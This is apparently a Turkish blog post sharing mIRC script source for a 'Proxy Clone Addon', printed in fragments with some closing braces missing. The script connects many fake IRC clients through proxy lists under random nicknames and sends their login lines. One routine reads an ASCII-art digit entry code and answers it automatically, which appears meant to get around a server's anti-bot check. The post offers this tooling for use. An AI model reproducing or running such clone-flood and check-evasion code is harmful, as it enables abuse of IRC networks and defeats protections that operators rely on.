If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {

If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }

If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }

If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }

}

Else {

If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }

If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName }

If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }

}

If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {

Var %I = 1

While ($Did(Clone,38,%I)) {

If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) }

Inc %I

}

SockMark $SockName $Remove($3,:)

}

Did -ra Clone 25 $Sock(Clone.*,0)

}

Alias Clone.Ignore {

Var %I = 1

While ($Did(Clone,96,%I)) {

If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) }

Inc %I

}

On *:SockClose:Clone.*: {

If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {

Var %I = 1

While ($Did(Clone,38,%I)) {

If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I }

Inc %I

}

Did -ra Clone 25 $Sock(Clone.*,0)

Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)

}

Alias Clone.Nick { Return $Sock($1).Mark }

Alias Clone.Sock {

Var %I = 1

While ($Sock(Clone.*,%I)) {

If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) }

Inc %I

}

Alias Clone.RandNick {

Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1

While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }

Return %N

}

Alias Clone.Conn.User {

If ($Did(Clone,11).State == 1) {

SockWrite -nt $1 PASS $Did(Clone,86)

SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))

SockWrite -nt $1 NICK $Clone.RandNick

}

If ($Did(Clone,12).State == 1) {

Var %N = $Gettok($Read($Did(Clone,14)),1,32)

SockWrite -nt $1 PASS $Did(Clone,86)

SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N)

SockWrite -nt $1 NICK %N

}

If ($Did(Clone,13).State == 1) {

SockWrite -nt $1 PASS $Did(Clone,86)

SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))

SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)

}

Alias Clone.Go {

If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }

:Again

Var %R = $Rand(0,9999999)

If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }

If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }

Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) }

Inc %Clone.List

Did -ra Clone 25 $Sock(Clone.*,0)

}

Dialog -l Clone.IPs {

Title "Connected IP Ports"

Size -1 -1 254 360

Option Pixels

Edit "", 1, 8 8 236 317, Read Multi

Button &Refresh List, 2, 8 332 235 20

}

On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }

On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }

Alias Clone.IPs {

If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }

Did -r Clone.IPs 1

Var %I = 1

While ($Sock(Clone.*,%I)) {

If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) {

Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port

}

Inc %I

}

.type/clone

alias botfnick {

return $remove($gettok($1,1,33),:)

}

alias giriskod {

if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }

if ( $2- != 0,0##########0,0##########0,0########## ) {

hadd -m kod satir $+ %kodsatir $2-

inc %kodsatir

}

if ( %kodsatir == 8 ) { kod $1 }

}

alias kod {

hadd -m kod0 satir1 0,0##4######0##

hadd -m kod0 satir2 0,0#4##0####4##0#

hadd -m kod0 satir3 0,0#4##0####4##0#

hadd -m kod0 satir4 0,0#4##0####4##0#

hadd -m kod0 satir5 0,0#4##0####4##0#

hadd -m kod0 satir6 0,0#4##0####4##0#

hadd -m kod0 satir7 0,0##4######0##

hadd -m kod1 satir1 0,0###4###0####

hadd -m kod1 satir2 0,0##4####0####

hadd -m kod1 satir3 0,0#4#####0####

hadd -m kod1 satir4 0,0####4##0####

hadd -m kod1 satir5 0,0####4##0####

hadd -m kod1 satir6 0,0####4##0####

hadd -m kod1 satir7 0,0#4########0#

hadd -m kod2 satir1 0,0##4######0##

hadd -m kod2 satir2 0,0#4##0####4##0#

hadd -m kod2 satir3 0,0#######4##0#

hadd -m kod2 satir4 0,0######4##0##

hadd -m kod2 satir5 0,0#####4##0###

hadd -m kod2 satir6 0,0###4##0#####

hadd -m kod2 satir7 0,0#4########0#

hadd -m kod3 satir1 0,0#4#######0##

hadd -m kod3 satir2 0,0#######4##0#

hadd -m kod3 satir3 0,0#######4##0#

hadd -m kod3 satir4 0,0#4#######0##

hadd -m kod3 satir5 0,0#######4##0#

hadd -m kod3 satir6 0,0#######4##0#

hadd -m kod3 satir7 0,0#4#######0##

hadd -m kod4 satir1 0,0#4##0#######

hadd -m kod4 satir2 0,0#4##0#######

hadd -m kod4 satir3 0,0#4##0##4##0###

hadd -m kod4 satir4 0,0#4##0##4##0###

hadd -m kod4 satir5 0,0#4##0##4##0###

hadd -m kod4 satir6 0,0#4########0#

hadd -m kod4 satir7 0,0#0####4##0###

hadd -m kod5 satir1 0,0#4########0#

hadd -m kod5 satir2 0,0#4#0########

hadd -m kod5 satir3 0,0#4#0########

hadd -m kod5 satir4 0,0#4#######0##

hadd -m kod5 satir5 0,0########4#0#

hadd -m kod5 satir6 0,0########4#0#

hadd -m kod5 satir7 0,0#4#######0##

hadd -m kod6 satir1 0,0##4#######0#

hadd -m kod6 satir2 0,0#4##0#######

hadd -m kod6 satir3 0,0#4##0#######

hadd -m kod6 satir4 0,0#4#######0##

hadd -m kod6 satir5 0,0#4##0####4##0#

hadd -m kod6 satir6 0,0#4##0####4##0#

hadd -m kod6 satir7 0,0##4######0##

hadd -m kod7 satir1 0,0#4########0#

hadd -m kod7 satir2 0,0#######4##0#

hadd -m kod7 satir3 0,0######4##0##

hadd -m kod7 satir4 0,0#####4##0###

hadd -m kod7 satir5 0,0####4##0####

hadd -m kod7 satir6 0,0###4##0#####

hadd -m kod7 satir7 0,0##4##0######

hadd -m kod8 satir1 0,0##4######0##

hadd -m kod8 satir2 0,0#4##0####4##0#

hadd -m kod8 satir3 0,0#4##0####4##0#

hadd -m kod8 satir4 0,0##4#4#####0##

hadd -m kod8 satir5 0,0#4##0####4##0#

hadd -m kod8 satir6 0,0#4##0####4##0#

hadd -m kod8 satir7 0,0##4######0##

hadd -m kod9 satir1 0,0##4######0##

hadd -m kod9 satir2 0,0#4##0####4##0#

hadd -m kod9 satir3 0,0#4##0####4##0#

hadd -m kod9 satir4 0,0##4#######0#

hadd -m kod9 satir5 0,0#######4##0#

hadd -m kod9 satir6 0,0#######4##0#

hadd -m kod9 satir7 0,0##4######0##

var %giriskod1 $kontrol(1)

var %giriskod2 $kontrol(2)

var %giriskod3 $kontrol(3)

hfree kod

hfree kod0

hfree kod1

hfree kod2

hfree kod3

hfree kod4

hfree kod5

hfree kod6

hfree kod7

hfree kod8

hfree kod9

unset %kodsatir

if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }

if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }

if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }

}

alias kontrol {

if ( $1 == $null ) { echo -a eksik | halt }

if ( $1 = 1 ) {

var %aralikba 1

var %aralikbi 30

}

if ( $1 = 2 ) {

var %aralikba 15

var %aralikbi 30

}

if ( $1 = 3 ) {

var %aralikba 35

var %aralikbi 50

}

var %ii -1

var %tt 9

while %ii < %tt {

inc %ii

;echo -a Kontrol Edilen Değer %ii

var %i 0

var %t 7

var %ttoplam 0

while %i < %t {

inc %i

;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)

if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {

if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {

inc %ttoplam 2

}

if ( %ttoplam == 14 ) { return %ii }

}

önceki yazımızda « Ascii Kod Görüntüleyici makelemiz var.

Makale Yazarı : admin

27 Kasım, 2018

638

Yazı kategorisi : Clone Addon

yorum yok

Proxy Clone Addon

Etiketler

Proxy Clone Addon

Proxy Clone Addon İle Benzer Sohbet Yazıları

Proxy Clone Addon yazına yapılan yorumlar

Bir Yorum Yazmak İstermisiniz ?